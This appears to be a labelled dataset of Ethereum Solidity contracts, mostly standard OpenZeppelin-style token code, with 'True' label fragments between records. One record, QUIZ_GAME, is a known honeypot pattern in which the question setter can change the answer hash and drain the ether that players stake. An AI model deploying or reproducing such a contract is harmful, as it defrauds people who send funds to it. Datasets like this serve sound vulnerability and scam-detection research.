function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20Burnable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
using SafeMath for uint256;
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance =
allowance(account, _msgSender()).sub(
amount,
"ERC20: burn amount exceeds allowance"
);
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
// File: @openzeppelin/contracts/presets/ERC20PresetMinterPauser.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev {ERC20} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*/
contract ERC20PresetMinterPauser is
Context,
AccessControl,
ERC20Burnable,
ERC20Pausable
{
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the
* account that deploys the contract.
*
* See {ERC20-constructor}.
*/
constructor(string memory name, string memory symbol)
public
ERC20(name, symbol)
{
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
_setupRole(PAUSER_ROLE, _msgSender());
}
/**
* @dev Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to, uint256 amount) public virtual {
require(
hasRole(MINTER_ROLE, _msgSender()),
"ERC20PresetMinterPauser: must have minter role to mint"
);
_mint(to, amount);
}
/**
* @dev Pauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
require(
hasRole(PAUSER_ROLE, _msgSender()),
"ERC20PresetMinterPauser: must have pauser role to pause"
);
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
require(
hasRole(PAUSER_ROLE, _msgSender()),
"ERC20PresetMinterPauser: must have pauser role to unpause"
);
_unpause();
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override(ERC20, ERC20Pausable) {
super._beforeTokenTransfer(from, to, amount);
}
}
// File: @openzeppelin/contracts/introspection/IERC165.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/introspection/ERC165.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor() internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId)
public
view
override
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: @openzeppelin/contracts/introspection/ERC165Checker.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Library used to query support of an interface declared via {IERC165}.
*
* Note that these functions return the actual result of the query: they do not
* `revert` if an interface is not supported. It is up to the caller to decide
* what to do in these cases.
*/
library ERC165Checker {
// As per the EIP-165 spec, no interface should ever match 0xffffffff
bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff;
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Returns true if `account` supports the {IERC165} interface,
*/
function supportsERC165(address account) internal view returns (bool) {
// Any contract that implements ERC165 must explicitly indicate support of
// InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid
return
_supportsERC165Interface(account, _INTERFACE_ID_ERC165) &&
!_supportsERC165Interface(account, _INTERFACE_ID_INVALID);
}
/**
* @dev Returns true if `account` supports the interface defined by
* `interfaceId`. Support for {IERC165} itself is queried automatically.
*
* See {IERC165-supportsInterface}.
*/
function supportsInterface(address account, bytes4 interfaceId)
internal
view
returns (bool)
{
// query support of both ERC165 as per the spec and support of _interfaceId
return
supportsERC165(account) &&
_supportsERC165Interface(account, interfaceId);
}
/**
* @dev Returns true if `account` supports all the interfaces defined in
* `interfaceIds`. Support for {IERC165} itself is queried automatically.
*
* Batch-querying can lead to gas savings by skipping repeated checks for
* {IERC165} support.
*
* See {IERC165-supportsInterface}.
*/
function supportsAllInterfaces(
address account,
bytes4[] memory interfaceIds
) internal view returns (bool) {
// query support of ERC165 itself
if (!supportsERC165(account)) {
return false;
}
// query support of each interface in _interfaceIds
for (uint256 i = 0; i < interfaceIds.length; i++) {
if (!_supportsERC165Interface(account, interfaceIds[i])) {
return false;
}
}
// all interfaces supported
return true;
}
/**
* @notice Query if a contract implements an interface, does not check ERC165 support
* @param account The address of the contract to query for support of an interface
* @param interfaceId The interface identifier, as specified in ERC-165
* @return true if the contract at account indicates support of the interface with
* identifier interfaceId, false otherwise
* @dev Assumes that account contains a contract that supports ERC165, otherwise
* the behavior of this method is undefined. This precondition can be checked
* with {supportsERC165}.
* Interface identification is specified in ERC-165.
*/
function _supportsERC165Interface(address account, bytes4 interfaceId)
private
view
returns (bool)
{
// success determines whether the staticcall succeeded and result determines
// whether the contract at account indicates support of _interfaceId
(bool success, bool result) =
_callERC165SupportsInterface(account, interfaceId);
return (success && result);
}
/**
* @notice Calls the function with selector 0x01ffc9a7 (ERC165) and suppresses throw
* @param account The address of the contract to query for support of an interface
* @param interfaceId The interface identifier, as specified in ERC-165
* @return success true if the STATICCALL succeeded, false otherwise
* @return result true if the STATICCALL succeeded and the contract at account
* indicates support of the interface with identifier interfaceId, false otherwise
*/
function _callERC165SupportsInterface(address account, bytes4 interfaceId)
private
view
returns (bool, bool)
{
bytes memory encodedParams =
abi.encodeWithSelector(_INTERFACE_ID_ERC165, interfaceId);
(bool success, bytes memory result) =
account.staticcall{gas: 30000}(encodedParams);
if (result.length < 32) return (false, false);
return (success, abi.decode(result, (bool)));
}
}
// File: contracts/token/ERC20OnApprove.sol
pragma solidity >=0.6.0 <0.8.0;
abstract contract OnApprove is ERC165 {
constructor() public {
_registerInterface(OnApprove(this).onApprove.selector);
}
function onApprove(
address owner,
address spender,
uint256 amount,
bytes calldata data
) external virtual returns (bool);
}
abstract contract ERC20OnApprove is ERC20 {
function approveAndCall(
address spender,
uint256 amount,
bytes calldata data
) external returns (bool) {
require(approve(spender, amount));
_callOnApprove(msg.sender, spender, amount, data);
return true;
}
function _callOnApprove(
address owner,
address spender,
uint256 amount,
bytes memory data
) internal {
bytes4 onApproveSelector = OnApprove(spender).onApprove.selector;
require(
ERC165Checker.supportsInterface(spender, onApproveSelector),
"ERC20OnApprove: spender doesn't support onApprove"
);
(bool ok, bytes memory res) =
spender.call(
abi.encodeWithSelector(
onApproveSelector,
owner,
spender,
amount,
data
)
);
// check if low-level call reverted or not
require(ok, string(res));
assembly {
ok := mload(add(res, 0x20))
}
// check if OnApprove.onApprove returns true or false
require(ok, "ERC20OnApprove: failed to call onApprove");
}
}
// File: contracts/token/Token.sol
pragma solidity >=0.6.0 <0.8.0;
contract Token is ERC20PresetMinterPauser, ERC20OnApprove {
bytes32 public constant MINTER_ADMIN_ROLE = keccak256("MINTER_ADMIN_ROLE");
bytes32 public constant PAUSER_ADMIN_ROLE = keccak256("PAUSER_ADMIN_ROLE");
constructor(
string memory name_,
string memory symbol_,
uint256 initialSupply_
) public ERC20PresetMinterPauser(name_, symbol_) {
_mint(_msgSender(), initialSupply_);
_setRoleAdmin(MINTER_ROLE, MINTER_ADMIN_ROLE);
_setRoleAdmin(PAUSER_ROLE, PAUSER_ADMIN_ROLE);
_setupRole(MINTER_ADMIN_ROLE, _msgSender());
_setupRole(PAUSER_ADMIN_ROLE, _msgSender());
}
/**
* @dev change DEFAULT_ADMIN_ROLE to `account`
*/
function changeAdminRole(address account) external {
changeRole(DEFAULT_ADMIN_ROLE, account);
}
/**
* @dev grant and revoke `role` to `account`
*/
function changeRole(bytes32 role, address account) public {
grantRole(role, account);
revokeRole(role, _msgSender());
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal override(ERC20, ERC20PresetMinterPauser) {
super._beforeTokenTransfer(from, to, amount);
}
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pragma solidity ^0.4.20;
contract QUIZ_GAME
{
string public question;
address questionSender;
bytes32 responseHash;
function StartGame(string _question,string _response)
public
payable
{
if(responseHash==0x00)
{
responseHash = keccak256(_response);
question = _question;
questionSender = msg.sender;
}
}
function Play(string _response)
external
payable
{
require(msg.sender == tx.origin);
if(responseHash == keccak256(_response) && msg.value>1 ether)
{
msg.sender.transfer(this.balance);
}
}
function StopGame()
public
payable
{
require(msg.sender==questionSender);
msg.sender.transfer(this.balance);
}
function NewQuestion(string _question, bytes32 _responseHash)
public
payable
{
require(msg.sender==questionSender);
question = _question;
responseHash = _responseHash;
}
function() public payable{}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-05-16
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol
pragma solidity ^0.8.0;
/**
* @title ERC20Decimals
* @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
*/
abstract contract ERC20Decimals is ERC20 {
uint8 immutable private _decimals;
/**
* @dev Sets the value of the `decimals`. This value is immutable, it can only be
* set once during construction.
*/
constructor (uint8 decimals_) {
_decimals = decimals_;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/token/ERC20/StandardERC20.sol
pragma solidity ^0.8.0;
/**
* @title StandardERC20
* @dev Implementation of the StandardERC20
*/
contract StandardERC20 is ERC20Decimals, ServicePayer {
constructor (
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ERC20Decimals(decimals_)
ServicePayer(feeReceiver_, "StandardERC20")
payable
{
require(initialBalance_ > 0, "StandardERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
function decimals() public view virtual override returns (uint8) {
return super.decimals();
}
} | True | [
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pragma solidity ^0.4.12;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract MinexoDigital is BurnableToken, Ownable {
string public constant name = "Minexo Digital";
string public constant symbol = "MXO";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 55500000 * (10 ** uint256(decimals));
// Constructors
function MinexoDigital () {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-01-23
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
/**
*
*
* Accompaniments by Takens Theorem
*
* Terms, conditions: Experimental, use at your own risk. Each token provided
* as-is and as-available without any and all warranty. By using this contract
* you accept sole responsibility for any and all transactions involving
* Accompaniments.
*
*
*/
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
